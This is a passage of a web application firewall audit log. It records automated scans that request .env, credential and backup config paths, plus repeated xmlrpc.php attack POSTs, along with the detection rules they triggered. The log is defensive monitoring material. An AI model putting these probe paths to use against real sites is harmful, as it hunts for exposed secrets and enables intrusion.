proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017478819117 775440 (- - -) Stopwatch2: 1750017478819117 775440; combined=185956, p1=372, p2=1373, p3=0, p4=0, p5=92162, sr=91, sw=1, l=0, gc=92048 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f9d4bf01-Z-- --c6fd3631-A-- [16/Jun/2025:01:28:04.568337 +0530] aE8ly4fvqn7_SDWw_wX5egAAAAc 185.177.72.210 47902 127.0.0.1 7081 --c6fd3631-B-- GET /:8443/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6fd3631-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1992b8789ab4a1d9227dfef35fc5f8ac1750017484; expires=Sun, 15 Jun 2025 20:58:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6fd3631-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/env/.env"] [unique_id "aE8ly4fvqn7_SDWw_wX5egAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017483847058 721345 (- - -) Stopwatch2: 1750017483847058 721345; combined=2164, p1=452, p2=1610, p3=0, p4=0, p5=101, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6fd3631-Z-- --a1221e1b-A-- [16/Jun/2025:01:28:05.654502 +0530] aE8lzLGjXXuxVCJENBCsXAAAAAk 185.177.72.210 47956 127.0.0.1 7081 --a1221e1b-B-- GET /packages/plugin-qiankun/examples/app2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a1221e1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ef0ab21aaff05be0b5b19380d5b4bd001750017485; expires=Sun, 15 Jun 2025 20:58:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a1221e1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/plugin-qiankun/examples/app2/.env"] [unique_id "aE8lzLGjXXuxVCJENBCsXAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017484999688 654909 (- - -) Stopwatch2: 1750017484999688 654909; combined=2399, p1=559, p2=1721, p3=0, p4=0, p5=118, sr=128, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a1221e1b-Z-- --49c1262f-A-- [16/Jun/2025:01:28:11.639801 +0530] aE8l0nsalJN_0-_70dLzdAAAAAU 185.177.72.210 41562 127.0.0.1 7081 --49c1262f-B-- GET /credentials/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --49c1262f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dde81250286ef92b7dde4f4d3638ab151750017491; expires=Sun, 15 Jun 2025 20:58:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --49c1262f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.test"] [unique_id "aE8l0nsalJN_0-_70dLzdAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017490918341 721523 (- - -) Stopwatch2: 1750017490918341 721523; combined=1898, p1=371, p2=1439, p3=0, p4=0, p5=88, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --49c1262f-Z-- --9c2fa145-A-- [16/Jun/2025:01:28:12.775008 +0530] aE8l0z3D4g1mGjVnV5KKIQAAAAY 185.177.72.210 41612 127.0.0.1 7081 --9c2fa145-B-- GET /global.asax HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9c2fa145-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1a02df4c603a3f1a8b3a54ba750dd9be1750017492; expires=Sun, 15 Jun 2025 20:58:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9c2fa145-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".asax"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".asax"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/global.asax"] [unique_id "aE8l0z3D4g1mGjVnV5KKIQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017491989225 785861 (- - -) Stopwatch2: 1750017491989225 785861; combined=2200, p1=374, p2=1718, p3=0, p4=0, p5=108, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9c2fa145-Z-- --804bd01c-A-- [16/Jun/2025:01:28:14.796883 +0530] aE8l1j6fDirgE_qJvgHNQAAAAAA 185.177.72.210 41710 127.0.0.1 7081 --804bd01c-B-- GET /:8008/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --804bd01c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2a3b2f5223af3510c134fb7b1d9ecd241750017494; expires=Sun, 15 Jun 2025 20:58:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --804bd01c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.example"] [unique_id "aE8l1j6fDirgE_qJvgHNQAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017494142751 654208 (- - -) Stopwatch2: 1750017494142751 654208; combined=1996, p1=416, p2=1469, p3=0, p4=0, p5=110, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --804bd01c-Z-- --8e13a51c-A-- [16/Jun/2025:01:28:23.355704 +0530] aE8l3j3D4g1mGjVnV5KKJgAAAAY 185.177.72.210 55992 127.0.0.1 7081 --8e13a51c-B-- GET /:8080/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8e13a51c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a3d855a7898903eac9d8a26b5ea2149b1750017503; expires=Sun, 15 Jun 2025 20:58:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8e13a51c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.c9/metadata/environment/.env"] [unique_id "aE8l3j3D4g1mGjVnV5KKJgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017502693810 661981 (- - -) Stopwatch2: 1750017502693810 661981; combined=1682, p1=351, p2=1235, p3=0, p4=0, p5=95, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e13a51c-Z-- --8fec8413-A-- [16/Jun/2025:01:28:24.534311 +0530] aE8l3z6fDirgE_qJvgHNRAAAAAA 185.177.72.210 56036 127.0.0.1 7081 --8fec8413-B-- GET /backup/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8fec8413-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b948bb4ed74dd0bcd7a609afd17b36f1750017504; expires=Sun, 15 Jun 2025 20:58:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8fec8413-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup/config.php.bak"] [unique_id "aE8l3z6fDirgE_qJvgHNRAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017503705467 828930 (- - -) Stopwatch2: 1750017503705467 828930; combined=2284, p1=429, p2=1743, p3=0, p4=0, p5=112, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8fec8413-Z-- --a29b6e61-A-- [16/Jun/2025:01:28:35.518024 +0530] aE8l6uuqUCmpR0cewAv_gQAAAAE 128.199.112.101 46154 127.0.0.1 7081 --a29b6e61-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a29b6e61-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a29b6e61-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8l6uuqUCmpR0cewAv_gQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017514465021 1053068 (- - -) Stopwatch2: 1750017514465021 1053068; combined=2639, p1=452, p2=1780, p3=42, p4=66, p5=188, sr=119, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a29b6e61-Z-- --07cedf55-A-- [16/Jun/2025:01:29:29.442227 +0530] aE8mILGjXXuxVCJENBCshgAAAAk 185.177.72.210 52252 127.0.0.1 7081 --07cedf55-B-- GET /:9000/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --07cedf55-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=752d64b693218af86787ac331dc699a01750017569; expires=Sun, 15 Jun 2025 20:59:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --07cedf55-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/environnements/.env"] [unique_id "aE8mILGjXXuxVCJENBCshgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017568643376 798916 (- - -) Stopwatch2: 1750017568643376 798916; combined=1973, p1=401, p2=1478, p3=0, p4=0, p5=94, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --07cedf55-Z-- --d0fae427-A-- [16/Jun/2025:01:29:35.991739 +0530] aE8mJ3salJN_0-_70dLznwAAAAU 128.199.112.101 38444 127.0.0.1 7081 --d0fae427-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d0fae427-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d0fae427-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8mJ3salJN_0-_70dLznwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017575041828 949967 (- - -) Stopwatch2: 1750017575041828 949967; combined=2819, p1=393, p2=2023, p3=42, p4=64, p5=181, sr=91, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0fae427-Z-- --1513ea72-A-- [16/Jun/2025:01:29:36.287635 +0530] aE8mJz6fDirgE_qJvgHNawAAAAA 185.177.72.210 38490 127.0.0.1 7081 --1513ea72-B-- GET /:5601/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1513ea72-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=21e92b20bd2dd73a74daf4d7b4e1e3c81750017576; expires=Sun, 15 Jun 2025 20:59:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1513ea72-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/new/.env"] [unique_id "aE8mJz6fDirgE_qJvgHNawAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017575586986 700712 (- - -) Stopwatch2: 1750017575586986 700712; combined=1945, p1=373, p2=1474, p3=0, p4=0, p5=98, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1513ea72-Z-- --f6cf8235-A-- [16/Jun/2025:01:29:37.297452 +0530] aE8mKD3D4g1mGjVnV5KKTgAAAAY 185.177.72.210 38544 127.0.0.1 7081 --f6cf8235-B-- GET /:5601/demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6cf8235-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3a6096edef1b2642e12111610553ba061750017577; expires=Sun, 15 Jun 2025 20:59:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6cf8235-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/demo/.env"] [unique_id "aE8mKD3D4g1mGjVnV5KKTgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017576611587 685926 (- - -) Stopwatch2: 1750017576611587 685926; combined=1961, p1=411, p2=1466, p3=0, p4=0, p5=83, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6cf8235-Z-- --f040587e-A-- [16/Jun/2025:01:30:36.186501 +0530] aE8mYyCwfN5GtQhYhHBH4AAAAAw 128.199.112.101 52204 127.0.0.1 7081 --f040587e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f040587e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f040587e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8mYyCwfN5GtQhYhHBH4AAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017635232075 954484 (- - -) Stopwatch2: 1750017635232075 954484; combined=2057, p1=346, p2=1344, p3=43, p4=54, p5=169, sr=83, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f040587e-Z-- --7be54f23-A-- [16/Jun/2025:01:30:40.614037 +0530] aE8mZz3D4g1mGjVnV5KKZgAAAAY 185.177.72.210 35294 127.0.0.1 7081 --7be54f23-B-- GET /:5601/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7be54f23-F-- HTTP/1.1 404 